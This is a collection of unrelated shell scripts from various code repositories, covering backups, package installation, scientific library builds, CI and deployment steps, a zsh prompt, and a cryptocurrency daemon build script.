    rsync -ravz --partial /home/daniel/Pictures $BACKUP
    rsync -ravz --partial /home/daniel/scripts $BACKUP
    echo 'Completed backup'
else
    echo 'Not connected to external HDD'
fi


#!/bin/sh

yaourt -S libreoffice libreoffice-en-US hunspell hunspell-en hyphen hyphen-en libmythes mythes-en


<reponame>kjetil-lye/unbounded_tv_experiments<gh_stars>0
##### NOTE: We want to use MPICH, since it is the "native" supported MPI library for most clusters
##### (on Cray clusters they usually replace the mpich library with their own in the docker/shifter container)
##### Because of this, we need to compile some packages ourselves, even though they come with ubuntu
##### (but only with openmpi support)
export INSTALL_PREFIX=/userdata/klye/local_alsvinn

export PNETCDF_VERSION=1.10.0
export NETCDF_VERSION=4.6.1
export GTEST_VERSION=1.8.0

export BOOST_MAJOR_VERSION=1
export BOOST_MINOR_VERSION=68
export BOOST_RELEASE_VERSION=0

export CMAKE_MAJOR_VERSION=3
export CMAKE_MINOR_VERSION=12
export CMAKE_RELEASE_VERSION=2
export SCRATCH=/userdata/klye
set -e
##### CMAKE
cd $SCRATCH &&\
    wget https://cmake.org/files/v${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}/cmake-${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}.${CMAKE_RELEASE_VERSION}.tar.gz &&\
    tar xvf cmake-${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}.${CMAKE_RELEASE_VERSION}.tar.gz &&\
    cd cmake-${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION}.${CMAKE_RELEASE_VERSION} && \
    ./bootstrap --system-curl --prefix=$INSTALL_PREFIX && \
    make && \
    make install && \
    cd $SCRATCH &&\
    rm -rf cmake*

##### HDF5
wget https://support.hdfgroup.org/ftp/HDF5/releases/hdf5-1.8/hdf5-1.8.21/src/hdf5-1.8.21.tar.gz &&\
    tar xvf hdf5-1.8.21.tar.gz &&\
    cd hdf5-1.8.21 &&\
    ./configure --enable-parallel --prefix=$INSTALL_PREFIX &&\
    make &&\
    make install

##### NETCDF
export H5DIR=/usr/lib/mpich && \
    cd $SCRATCH && \
    wget ftp://ftp.unidata.ucar.edu/pub/netcdf/netcdf-${NETCDF_VERSION}.tar.gz &&\
    tar xvf netcdf-${NETCDF_VERSION}.tar.gz && \
    cd netcdf-${NETCDF_VERSION} &&\
    export CPPFLAGS=-I${H5DIR}/include export CFLAGS=-L${H5DIR}/lib; \
    mkdir build;\
    cd build;\
    $INSTALL_PREFIX/bin/cmake .. -DCMAKE_C_COMPILER=`which mpicc` ~/local_alsvinn/bin/cmake .. -DCMAKE_PREFIX_PATH=/cluster/apps/szip/2.1/x86_64/gcc_4.8.2/ -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX && \
    make install &&\
    cd ../.. &&\
    rm -rf netcdf*

##### PNETCDF
cd ~ && \
    wget http://cucis.ece.northwestern.edu/projects/PnetCDF/Release/parallel-netcdf-${PNETCDF_VERSION}.tar.gz &&\
    tar xvf parallel-netcdf-${PNETCDF_VERSION}.tar.gz &&\
    cd parallel-netcdf-${PNETCDF_VERSION} &&\
    export CFLAGS='-fPIC' &&\
    ./configure --prefix=$INSTALL_PREFIX &&\
    make install &&\
    cd $SCRATCH &&\
    rm -rf parallel-netcdf*

##### GTest
cd $SCRATCH &&\
    wget https://github.com/google/googletest/archive/release-${GTEST_VERSION}.zip &&\
    unzip release-${GTEST_VERSION}.zip &&\
    cd googletest-release-${GTEST_VERSION} &&\
    mkdir build &&\
    cd build &&\
    $INSTALL_PREFIX/bin/cmake .. -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=$INSTALL_PREFIX -DCMAKE_C_COMPILER=`which $CC` -DCMAKE_CXX_COMPILER=`which $CXX`&&\
    make install &&\
    find . -iname '*.a' -exec cp {} ${INSTALL_PREFIX}/lib/ \; &&\
    cd $SCRATCH &&\
    rm -rf release-${GTEST_VERSION}.zip googletest-release-${GTEST_VERSION}

cd $SCRATCH &&\
    wget https://dl.bintray.com/boostorg/release/${BOOST_MAJOR_VERSION}.${BOOST_MINOR_VERSION}.${BOOST_RELEASE_VERSION}/source/boost_${BOOST_MAJOR_VERSION}_${BOOST_MINOR_VERSION}_${BOOST_RELEASE_VERSION}.tar.bz2 && \
    tar xvf boost_${BOOST_MAJOR_VERSION}_${BOOST_MINOR_VERSION}_${BOOST_RELEASE_VERSION}.tar.bz2 && cd boost_${BOOST_MAJOR_VERSION}_${BOOST_MINOR_VERSION}_${BOOST_RELEASE_VERSION} && \
    ./bootstrap.sh --with-python=`which python` --prefix=$INSTALL_PREFIX && \
    ./b2 --build-type=complete --layout=tagged install && \
    cd $SCRATCH && \
    rm -rf boost_*


<reponame>ho-nl/vagrant-development-box<gh_stars>0
#!/bin/bash

set -e

AS_USER="sudo -u ${VAGRANT_USER}"
HOME_DIR=$(getent passwd ${VAGRANT_USER} | cut -d ':' -f6)
MAGENTO_DIR=${VAGRANT_PROJECT_DIR:-magento2}

echo "🔥 Ensuring the box is ready for Magento 2"

$AS_USER touch ${HOME_DIR}/nginx/magento2.flag

[ -d ${HOME_DIR}/${MAGENTO_DIR} ] || $AS_USER mkdir ${HOME_DIR}/${MAGENTO_DIR}
[ -d ${HOME_DIR}/${MAGENTO_DIR}/pub ] || $AS_USER mkdir ${HOME_DIR}/${MAGENTO_DIR}/pub

rm -rf ${HOME_DIR}/public
$AS_USER ln -fs ${HOME_DIR}/${MAGENTO_DIR}/pub ${HOME_DIR}/public


#!/bin/sh

# Copy test directory to local filesystem, outside of source repo, and owned by dryad user
sudo mkdir -p -m 0755 ${DRYAD_TEST_DIR}
sudo mkdir -p -m 0755 ${DRYAD_TEST_DIR}/testData
sudo mkdir -p -m 0755 ${DRYAD_TEST_DIR}/assetstore
sudo chown -R $USER ${DRYAD_TEST_DIR}
cp -L -r $TRAVIS_BUILD_DIR/test/config $DRYAD_TEST_DIR/config
cp -R $TRAVIS_BUILD_DIR/dspace-api/src/test/resources/dspaceFolder/testData/* $DRYAD_TEST_DIR/testData/
cp $TRAVIS_BUILD_DIR/dspace/etc/server/settings.xml $HOME/.m2/

psql -U postgres -c "create user dryad_app with createdb;" -d template1
createdb -U dryad_app dryad_repo
psql -U postgres -c "create user ${PGUSER} with createdb;" -d template1
createdb -U ${PGUSER} ${PGDATABASE}

${DRYAD_CODE_DIR}/test/bin/install-test-database.sh


#!/usr/bin/env bash

# Check if root.
if [[ $EUID -eq 0 ]]; then
    error "Run using sudo or as the root user"
    exit 1
fi

# Install gems. (Assuming they have ruby.)
echo "Installing the required ruby gems."
sudo gem install jekyll stringex sass &&
echo "Done installing the gems."

# Check and install node.js
type node 2>/dev/null ||
echo "Installing node.js."

# Debian and like OSs.
[ $OSTYPE = linux-gnu ] &&
type apt-get 2>/dev/null &&
apt-get install g++ curl libssl-dev apache2-utils \
git-core

# Clone and install node.
( cd /tmp;
  git clone https://github.com/joyent/node.git;
  cd node
  ./configure
  make
  sudo make install
)

# Now clone the devopera repo.
git clone <EMAIL>:operasoftware/devopera.git
cd devopera
npm install
npm install grunt-cli -g
grunt build
echo "Check the _site dir. Thank you!"


<filename>lib/kb_das_tool/bin/bbmap/gi2taxid.sh
#!/bin/bash

usage(){
echo "
Written by <NAME>.
Last modified January 3, 2018

Description:  Renames fasta sequences to indicate their NCBI taxIDs.
The headers must be in NCBI or Silva format with gi numbers,
accessions, or organism names.  Only supports fasta sequence files.

Usage:  gi2taxid.sh in=<file> out=<file> gi=<file>

Parameters:
in=<file>           Input sequences; required parameter.  Must be fasta.
                    This can alternatively be a comma-delimited list,
                    or just a bunch of space-delimited filenames, e.g.:
                    gi2taxid.sh x.fa y.fa z.fa out=tid.fa tree=auto table=auto
out=<file>          Destination for renamed sequences.
invalid=<file>      Destination for headers with no taxid.
keepall=t           Keep sequences with no taxid in normal output.
prefix=t            Append the taxid as a prefix to the old header, but keep
                    the old header.
title=tid           Set the title of the new number (e.g. ncbi, taxid, tid).
ziplevel=2          (zl) Compression level for gzip output.
pigz=f              Spawn a pigz (parallel gzip) process for faster
                    compression than Java.  Requires pigz to be installed.
silva=f             Parse headers in Silva format.
shrinknames=f       Replace multiple concatenated headers with the first.

Taxonomy file flags:
tree=               Specify a taxtree file.  On Genepool, use 'auto'.
gi=                 Specify a gitable file.  On Genepool, use 'auto'.
accession=          Specify one or more comma-delimited NCBI accession to
                    taxid files.  On Genepool, use 'auto'.

Java Parameters:
-Xmx                This will be passed to Java to set memory usage, overriding the program's automatic memory detection.
                    -Xmx20g will specify 20 gigs of RAM, and -Xmx800m will specify 800 megs.  The max is typically 85% of physical memory.
-eoom               This flag will cause the process to exit if an out-of-memory exception occurs.  Requires Java 8u92+.
-da                 Disable assertions.

Please contact <NAME> at <EMAIL> if you encounter any problems.
"
}

pushd . > /dev/null
DIR="${BASH_SOURCE[0]}"
while [ -h "$DIR" ]; do
  cd "$(dirname "$DIR")"
  DIR="$(readlink "$(basename "$DIR")")"
done
cd "$(dirname "$DIR")"
DIR="$(pwd)/"
popd > /dev/null

#DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )/"
CP="$DIR""current/"
NATIVELIBDIR="$DIR""jni/"

z="-Xmx7g"
z2="-Xms7g"
EA="-ea"
EOOM=""
set=0

if [ -z "$1" ] || [[ $1 == -h ]] || [[ $1 == --help ]]; then
	usage
	exit
fi

calcXmx () {
	source "$DIR""/calcmem.sh"
	parseXmx "$@"
	if [[ $set == 1 ]]; then
		return
	fi
	freeRam 7000m 84
	z="-Xmx${RAM}m"
	z2="-Xms${RAM}m"
}
calcXmx "$@"

gi2taxid() {
	if [[ $SHIFTER_RUNTIME == 1 ]]; then
		#Ignore NERSC_HOST
		shifter=1
	elif [[ $NERSC_HOST == genepool ]]; then
		module unload oracle-jdk
		module load oracle-jdk/1.8_144_64bit
		module load pigz
	elif [[ $NERSC_HOST == denovo ]]; then
		module unload java
		module load java/1.8.0_144
		module load pigz
	elif [[ $NERSC_HOST == cori ]]; then
		module use /global/common/software/m342/nersc-builds/denovo/Modules/jgi
		module use /global/common/software/m342/nersc-builds/denovo/Modules/usg
		module unload java
		module load java/1.8.0_144
		module load pigz
	fi
	local CMD="java $EA $EOOM $z $z2 -cp $CP tax.RenameGiToNcbi $@"
	echo $CMD >&2
	eval $CMD
}

gi2taxid "$@"


#!/bin/bash
# Copyright 2019 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

echo "This script will disable exporting metrics from kbatch-prometheus to Stackdriver."

GCP_PROJECT=$(gcloud config get-value project)
if [[ "$?" -ne 0 ]]; then
  echo "GCP project is not currently configured. Please use 'gcloud config set project PROJECT' and retry."
  exit -1
fi

CURRENT=$(kubectl config current-context)
GCP_REGION=$(cut -d'_' -f3 <<<${CURRENT})
KBATCH_GKE_CLUSTER=$(cut -d'_' -f4 <<<${CURRENT})

read -p "
Using Project ID: '${GCP_PROJECT}'
GCP region: '${GCP_REGION}'
Kbatch GKE Cluster: '${KBATCH_GKE_CLUSTER}'
Should these config values be used to disable exporting metrics to Stackdriver? Y/n " USE_CONFIG

if [[ "$USE_CONFIG" = "n" ||  "$USE_CONFIG" = "N" ]]; then
  read -p "Please provide the GCP project id:" GCP_PROJECT
  read -p "Please provide the GCP region:" GCP_REGION
  read -p "Please provide the Kbatch GKE cluster name:" KBATCH_GKE_CLUSTER

  gcloud config set project ${GCP_PROJECT} && gcloud container clusters get-credentials ${KBATCH_GKE_CLUSTER} --zone ${GCP_REGION}
fi

kubectl delete deployment/kbatch-prometheus-deployment -n kube-system
if [[ "$?" -ne 0 ]] ; then
  echo "Failed to find kbatch-prometheus-deployment."
  exit 1
fi

kubectl apply -f prometheus.yaml

echo "Please refer to https://cloud.google.com/monitoring/workspaces/guide#disabling-monitoring for disabling Stackdriver monitoring."


<filename>.ci/deploy.sh<gh_stars>1-10
#!/bin/bash
set -e # exit with nonzero exit code if anything fails

echo "Add ssh key to remote server..."
openssl aes-256-cbc -K $encrypted_83630750896a_key -iv $encrypted_83630750896a_iv -in <EMAIL>.enc -out ~/.ssh/deploy@morty -d
chmod 600 ~/.ssh/deploy@morty
eval "$(ssh-agent -s)"
ssh-add ~/.ssh/deploy@morty


<reponame>gitter-badger/docker-acme.sh
#!/usr/bin/with-contenv bash
# shellcheck shell=bash

# This cont-init will only be applied if ACMESH_DAEMON is set to "1" which implies
# running the acme.sh renewal daemon. This script is responsible for setting up
# logging prerequisites.

set -eu

if [ -v ACMESH_DAEMON ] && [[ $ACMESH_DAEMON == "1" ]]; then
    echo "** Setting up logging for daemon"

    if ! [ -v S6_LOGGING_SCRIPT ]; then
        printf "n30 s10000000 S15000000 T !'gzip -nq9'" >/var/run/s6/container_environment/S6_LOGGING_SCRIPT
    fi

    mkdir -p "$LE_LOG_DIR"
    chown -R "$PUID:$PGID" "$LE_LOG_DIR"

    mkdir -p "$LE_LOG_DIR/acmesh-renewal"
    chown "$PUID:$PGID" "$LE_LOG_DIR/acmesh-renewal"
fi


#!/bin/bash
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# brew.sh
#
# setup a new LINUX machine
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
cd "$(dirname "${BASH_SOURCE[0]}")" && . "../helper.sh"

# setup SSH
# i downloaded and copied files, but guess we should gen a new pair
# copy downloaded files
# cp ~/Downloads/id_rsa.pub ~/.ssh/
# correct permission
# sudo chmod 600 ~/.ssh/id_rsa

# update packagelist upfront
sudo apt update;
# - - - - - - - - - - - - - - - - - - - - - - - - -
# installing packages
./packages.sh

# - - - - - - - - - - - - - - - - - - - - - - - - -
# installing oh-my-zsh
./../common/oh_my_zsh.sh

# - - - - - - - - - - - - - - - - - - - - - - - - -
# installing Node Verion Manager
./../common/nvm.sh


<gh_stars>0
git cam "$1"  # in case crash :(
./go.sh
git cam "$1"
git pom


<reponame>CSI-Woo-Lab/PandaSchedulingModel
num_procs=8
num_tasks=64

python train_greedy.py \
--num_procs=$num_procs       \
--num_tasks=$num_tasks      \
--range_l=5.00      \
--range_r=5.90      \
--use_deadline=True

python train_greedy.py \
--num_procs=$num_procs       \
--num_tasks=$num_tasks      \
--range_l=6.00      \
--range_r=6.90      \
--use_deadline=True

python train_greedy.py \
--num_procs=$num_procs       \
--num_tasks=$num_tasks      \
--range_l=7.00      \
--range_r=7.90      \
--use_deadline=True


<reponame>baxeico/django-lazycrud<gh_stars>0
#!/bin/bash
version=$1

if [ -z "$version" ]; then
    echo "Usage: $0  version"
    exit 1
fi

python setup.py sdist
twine upload dist/django-lazycrud-${version}.tar.gz
rm -rf build dist django_lazycrud.egg-info


#!/bin/bash

set -euo pipefail
VM_VERSION="201911012148"
BASE_VM_DOWNLOAD_PATH="https://github.com/OpenSmalltalk/opensmalltalk-vm/releases/download/$VM_VERSION"

echo "Installing VM $VM_VERSION for $RUNNER_OS"

installVmLinux() {
  sudo apt-get update
  sudo apt-get install pulseaudio
  VM_FILENAME="squeak.cog.spur_linux64x64_itimer_$VM_VERSION"

  wget "$BASE_VM_DOWNLOAD_PATH/$VM_FILENAME.tar.gz"
  tar -xvzf "$VM_FILENAME.tar.gz"
  sqcogspur64linux/bin/squeak --version
}

installVmMacOS() {
  VM_FILENAME="squeak.cog.spur_macos64x64_$VM_VERSION"

  wget "$BASE_VM_DOWNLOAD_PATH/$VM_FILENAME.dmg"
  sudo hdiutil attach "$VM_FILENAME.dmg"
  cd "/Volumes/$VM_FILENAME"
  sudo cp -rf Squeak.app /Applications
}

case $RUNNER_OS in
  "Linux")
    installVmLinux ;;
  "macOS")
    installVmMacOS ;;
esac


<gh_stars>10-100
#!/usr/bin/env bash

sudo apt -y install zsh command-not-found


<reponame>IHA114/mattata<filename>launch.sh<gh_stars>0
#!/bin/sh
if [ ! -f ./configuration.lua ]
then
	echo "[mattata] Please insert the required variables into configuration.example.lua."
    echo "[mattata] Then, you need to rename configuration.example.lua to configuration.lua!"
else
	while true
	do
		lua -e "require('mattata').run({}, require('configuration'))"
		echo "[mattata] Your instance of mattata has been stopped."
		sleep 3s
	done
fi


<filename>release/build.sh
#!/bin/sh

cd $(dirname "$0")

version=$(grep 'const Version' ../version.go | cut '-d"' -f2)

build_dir=$1

rm -rf "$build_dir"

echo "Current version: $version"

release() {
  goos=$1
  goarch=$2

  target_name="heraldd-$goos-$goarch-$version"
  target_dir="$build_dir/$target_name"
  archive_name="$target_name.tar.gz"

  rm -rf "$target_dir"
  rm -f "$archive_name"

  mkdir -p "$target_dir"

  GOOS=$goos GOARCH=$goarch go build -ldflags '-s -w' -o "$target_dir" ..

  if [ $? -eq 0 ]; then
    echo "Build Herald Daemon $goos-$goarch successfully"
  else
    echo "Build Herald Daemon $goos-$goarch failed"
  fi

  cp ../support/config.yml.example "$target_dir/config.yml"
  if [ $goos = linux ]; then
    cp -r ../support/systemd "$target_dir/systemd"
  elif [ $goos = freebsd ]; then
    cp -r ../support/rc.d "$target_dir/rc.d"
  fi

  tar -C "$build_dir" -czf "$build_dir/$archive_name" "$target_name"

  if [ $? -eq 0 ]; then
    echo "Pack Herald Daemon $goos-$goarch successfully"
  else
    echo "Pack Herald Daemon $goos-$goarch failed"
  fi
}

release linux amd64
release linux 386
release linux arm64
release linux arm
release darwin amd64
release freebsd amd64
release freebsd 386
release windows amd64
release windows 386


#!/bin/sh

docker build -t saidsef/jenkins-with-docker .


<gh_stars>10-100
#/bin/bash

export ANDROID_NDK=/opt/env/android-ndk-r14b

rm -r build
rm main
mkdir build && cd build

cmake -DCMAKE_TOOLCHAIN_FILE=$ANDROID_NDK/build/cmake/android.toolchain.cmake \
	-DANDROID_ABI="armeabi-v7a" \
	-DANDROID_NDK=$ANDROID_NDK \
	-DANDROID_PLATFORM="android-22" \
	..

make && make install

cd ..


# -*- sh -*-

# https://joshdick.net/2017/06/08/my_git_prompt_for_zsh_revisited.html

setopt PROMPT_SUBST
autoload -U colors && colors # Enable colors in prompt

# Echoes a username/host string when connected over SSH (empty otherwise)
ssh_info() {
  [[ "$SSH_CONNECTION" != '' ]] && echo '%(!.%{$fg[red]%}.%{$fg[yellow]%})%n%{$reset_color%}@%{$fg[green]%}%m%{$reset_color%}:' || echo ''
}

# Echoes information about Git repository status when inside a Git repository
git_info() {

  # Exit if not inside a Git repository
  ! git rev-parse --is-inside-work-tree > /dev/null 2>&1 && return

  # Git branch/tag, or name-rev if on detached head
  local GIT_LOCATION=${$(git symbolic-ref -q HEAD || git name-rev --name-only --no-undefined --always HEAD)#(refs/heads/|tags/)}

  local AHEAD="%{$fg[red]%}⇡NUM%{$reset_color%}"
  local BEHIND="%{$fg[cyan]%}⇣NUM%{$reset_color%}"
  local MERGING="%{$fg[magenta]%}⚡%{$reset_color%}"
  local UNTRACKED="%{$fg[red]%}●%{$reset_color%}"
  local MODIFIED="%{$fg[yellow]%}●%{$reset_color%}"
  local STAGED="%{$fg[green]%}●%{$reset_color%}"

  local -a DIVERGENCES
  local -a FLAGS

  local NUM_AHEAD="$(git log --oneline @{u}.. 2> /dev/null | wc -l | tr -d ' ')"
  if [ "$NUM_AHEAD" -gt 0 ]; then
    DIVERGENCES+=( "${AHEAD//NUM/$NUM_AHEAD}" )
  fi

  local NUM_BEHIND="$(git log --oneline ..@{u} 2> /dev/null | wc -l | tr -d ' ')"
  if [ "$NUM_BEHIND" -gt 0 ]; then
    DIVERGENCES+=( "${BEHIND//NUM/$NUM_BEHIND}" )
  fi

  local GIT_DIR="$(git rev-parse --git-dir 2> /dev/null)"
  if [ -n $GIT_DIR ] && test -r $GIT_DIR/MERGE_HEAD; then
    FLAGS+=( "$MERGING" )
  fi

  if [[ -n $(git ls-files --other --exclude-standard 2> /dev/null) ]]; then
    FLAGS+=( "$UNTRACKED" )
  fi

  if ! git diff --quiet 2> /dev/null; then
    FLAGS+=( "$MODIFIED" )
  fi

  if ! git diff --cached --quiet 2> /dev/null; then
    FLAGS+=( "$STAGED" )
  fi

  local -a GIT_INFO
  GIT_INFO+=( "\033[38;5;15m±" )
  [ -n "$GIT_STATUS" ] && GIT_INFO+=( "$GIT_STATUS" )
  [[ ${#DIVERGENCES[@]} -ne 0 ]] && GIT_INFO+=( "${(j::)DIVERGENCES}" )
  [[ ${#FLAGS[@]} -ne 0 ]] && GIT_INFO+=( "${(j::)FLAGS}" )
  GIT_INFO+=( "\033[38;5;15m$GIT_LOCATION%{$reset_color%}" )
  echo "${(j: :)GIT_INFO}"

}

# Use ❯ as the non-root prompt character; # for root
# Change the prompt character color if the last command had a nonzero exit code
# PS1='
# $(ssh_info)%{$fg[magenta]%}%~%u $(git_info)
# %(?.%{$fg[blue]%}.%{$fg[red]%})%(!.#.❯)%{$reset_color%} '

if [[ $TERM = "dumb" ]]; then
  # Basic '$' prompt for dumb terminals; helps Emacs TRAMP
  unsetopt ZLE
  unsetopt PROMPT_CR
  unsetopt PROMPT_SUBST
  export PS1='$ '
  export PROMPT='$ '
else
  # Interactive: No fancy git stuff, just some color.
  export PROMPT="
%B%{$fg[blue]%}%n@%b%B%m%b:%B%{$fg[yellow]%}%~%b%u
%(?.%{$fg[green]%}.%{$fg[red]%})%B%(!.#.>)%{$reset_color%} "
fi


<gh_stars>1-10
#!/bin/bash

BuildDir="./linuxbuild"          # root of output dir for built files
DistDir="./linuxbuild/dist"      # distribution "binary" output dir

CC="g++"
CFLAGS="-Wall -O3"
LDFLAGS="-lSDL2 -lSDL2_ttf -lSDL2_image"

# start clean for this test
rm -fr "${BuildDir}"
mkdir -p "${BuildDir}"

# get all source files
srcFiles=""
for srcFile in ./{emulator/common,emulator/webassembly}/*.cpp; do
    srcFiles+="${srcFile} "
done
srcFiles+="./emulator/mos6502/mos6502.cpp "
srcFiles+="./emulator/dcc6502/dcc6502.cpp "

# compile 6502 assembler program
cd 6502
dasm rom.asm -f3 -orom.bin -llisting.txt
cd ..

# compile and link object files into binary runtime in DistDir
mkdir -p "${DistDir}"
${CC} -I ./emulator/common -I ./emulator/mos6502 ${srcFiles} ${CFLAGS} ${LDFLAGS} -o ${DistDir}/simple6502
cp ./emulator/webassembly/index.html ${DistDir}
cp ./emulator/webassembly/Vera.ttf ${DistDir}
cp ./emulator/webassembly/background.png ${DistDir}
cp ./6502/rom.bin ${DistDir}
cp ./6502/listing.txt ${DistDir}

# start program
cd "${DistDir}"
./simple6502


g++ jiofi-info.cpp -o jiofi-info -lcurl -lpaho-mqtt3as -lpaho-mqttpp3


#!/bin/bash
# setup installs
sudo apt-get install python-setuptools python-pip

#pip installs
sudo pip install virtualenv
sudo easy_install virtualenvwrapper
sudo apt-get install -y python-dev
sudo apt-get install freetype* libpng-dev libjpeg8-dev
sudo apt-get install libblas-dev liblapack-dev gfortran

#gdal install
sudo apt-get install -y build-essential libxml2-dev libxslt1-dev libpq-dev
sudo apt-get install libgdal-dev  # install is 125MB
sudo apt-get install python-gdal

#install postgresql postgis
sudo apt-get install postgresql-9.3 postgresql-9.3-postgis-2.1 pgadmin3 postgresql-contrib python-psycopg2
sudo apt-get install binutils libproj-dev

# virtualenv install
export WORKON_HOME=~/venvs
mkdir $WORKON_HOME
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv pygeoan_cb
echo "export WORKON_HOME=$WORKON_HOME" >> ~/.bashrc
echo "source /usr/local/bin/virtualenvwrapper.sh" >> ~/.bashrc
source ~/.bashrc

workon pygeoan_cb

# use the requirements.txt file for quick install found in the root project directory
# pip install -r ../../requirements.txt

pip install numpy
pip install pyproj
pip install shapely==1.5.2
pip install matplotlib
pip install descartes
pip install pyshp
pip install geojson==1.3.1
pip install pandas==0.16.12
pip install scipy
pip install pysal
pip install ipython
pip install django==1.8.3
pip install jinja2==2.7.3
pip install owslib==0.9.0
pip install tilestache==1.50.1
pip install folium==0.1.4
pip install gdal==1.11.0
pip install ipython==2.3.0
pip install kartograph.py==0.6.8
pip install networkx==1.9.1

toggleglobalsitepackages
enable global site-packages


# platform = Red Hat Enterprise Linux 7
chown root /etc/shadow


<filename>ports/sqlite/package.sh
#!/opt/local/bin/mksh ../../.port.sh
port=sqlite
version=322000
useconfigure=true
workdir=sqlite-autoconf-3220000
files="https://sqlite.org/2018/sqlite-autoconf-3220000.tar.gz sqlite-autoconf-3220000.tar.gz 2fb24ec12001926d5209d2da90d252b9825366ac"


<filename>ping.sh
#!/bin/sh
TARGET=$1; [ -z "$TARGET" ] && TARGET="8.8.8.8"
PING="ping $TARGET -W 1 -c 1 -q 2>&1 | tail -1"
LOG=/tmp/ping.log

chkResult() {
  r=1; (echo "$1" | grep -e '100% packet loss' -e 'unreachable' -e 'Invalid' -e 'address') && r=0
  #echo "1: $1";  echo "r: $r"
  return $r
}

date | tee -a $LOG
result=`eval $PING`
chkResult "$result"; r0=$?
echo "[$TARGET] $result" | tee -a $LOG
while true; do
  sleep 1
  result=`eval $PING`
  chkResult "$result"; r1=$?
  if [ $r1 != $r0 ]; then  ## this works for all bash/ash/sh
    date | tee -a $LOG
    echo "[$TARGET] $result" | tee -a $LOG
  else
    echo "$result"
  fi
  r0=$r1
done


<filename>sh/my_wal_archiver.sh<gh_stars>10-100
#!/bin/sh

ARCHIVING_PATH=/mnt/data2/wal_archive
LOG=${ARCHIVING_PATH}/log.txt
NOW=$( date -R )

if [ $# -ne 2 ]
then
    echo "ERROR $NOW: $0 %f %p"
    exit 2
fi

SRC_FILE=$2 # file with path
DST_FILE=${ARCHIVING_PATH}/$1

# non sovrascrivo il file se esiste gia!
if [ -f ${DST_FILE} ]
then
    echo "KO $NOW: $1 esiste gia'" >> $LOG
    exit 1
fi

cp ${SRC_FILE} ${DST_FILE} && echo "OK $NOW: WAL segment $1 copiato" >> $LOG && exit 0
exit 1


#!/bin/sh
rm -rf build *.so *~ *.o tmp* *.egg-info *.pyc


<filename>trumpcoin-blockchain-ubuntu/build_infx.sh
#!/bin/bash

set -e

date
ps axjf

#################################################################
# Update Ubuntu and install prerequisites for running TrumpCoin #
#################################################################
sudo apt-get update
#################################################################
# Build TrumpCoin from source                                   #
#################################################################
NPROC=$(nproc)
echo "nproc: $NPROC"
#################################################################
# Install all necessary packages for building TrumpCoin         #
#################################################################
sudo apt-get install -y qt4-qmake libqt4-dev libminiupnpc-dev libdb++-dev libdb-dev libcrypto++-dev libqrencode-dev libboost-all-dev build-essential libboost-system-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libboost-filesystem-dev libboost-program-options-dev libboost-thread-dev libssl-dev libdb++-dev libssl-dev ufw git
sudo add-apt-repository -y ppa:bitcoin/bitcoin
sudo apt-get update
sudo apt-get install -y libdb4.8-dev libdb4.8++-dev

cd /usr/local
file=/usr/local/TrumpCoin
if [ ! -e "$file" ]
then
	sudo git clone https://github.com/TRUMPCOIN/TRUMP TrumpCoin
fi

cd /usr/local/TrumpCoin/src
file=/usr/local/TrumpCoin/src/TrumpCoind
if [ ! -e "$file" ]
then
	sudo make -j$NPROC -f makefile.unix
fi

sudo cp /usr/local/TrumpCoin/src/Trumpcoind /usr/bin/Trumpcoind

################################################################
# Configure to auto start at boot		                           #
################################################################
file=$HOME/.TrumpCoin
if [ ! -e "$file" ]
then
	sudo mkdir $HOME/.TrumpCoin
fi
printf '%s\n%s\n%s\n%s\n' 'daemon=1' 'server=1' 'rpcuser=u' 'rpcpassword=p' | sudo tee $HOME/.TrumpCoin/TrumpCoin.conf
file=/etc/init.d/TrumpCoin
if [ ! -e "$file" ]
then
	printf '%s\n%s\n' '#!/bin/sh' 'sudo TrumpCoin' | sudo tee /etc/init.d/TrumpCoin
	sudo chmod +x /etc/init.d/TrumpCoin
	sudo update-rc.d TrumpCoin defaults
fi

/usr/bin/TrumpCoin
echo "TrumpCoin has been setup successfully and is running..."
exit 0


@test "downloaded file retained (1)" {
  grep "mine" /var/cache/download_and_do/download/test.sh
}

@test "downloaded file retained (2)" {
  grep "mine"  /var/cache/download_and_do/download/test2.sh
}

@test "command not run (1)" {
  grep "mine" /run_test
}

@test "command not run (2)" {
  grep "worked" /run2_test
}


<gh_stars>1-10
#! /bin/sh

# Copyright 2020 The mssqlproxy developers (see CONTRIBUTORS)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# network.forceencryption                    Force encryption of incoming client connections
# network.ipaddress                          IP address for incoming connections
# network.kerberoskeytabfile                 Kerberos keytab file location
# network.tcpport                            TCP port for incoming connections
# network.tlscert                            Path to certificate file for encrypting incoming client connections
# network.tlsciphers                         TLS ciphers allowed for encrypted incoming client connections
# network.tlskey                             Path to private key file for encrypting incoming client connections
# network.tlsprotocols                       TLS protocol versions allowed for encrypted incoming client connections

#/opt/mssql/bin/mssql-conf set network.tlscert /server-cert.pem
#/opt/mssql/bin/mssql-conf set network.tlskey /server-key.pem
#/opt/mssql/bin/mssql-conf set network.tlsprotocols 1.2
#/opt/mssql/bin/mssql-conf set network.forceencryption 1

exec "$@"


<reponame>hka/HitAnalyzer
gcc -o HitAnalyzer HitAnalyzer.c parg.c $(pkg-config --libs --cflags sdl2) -lm


<gh_stars>0
#!/usr/bin/env bats
#
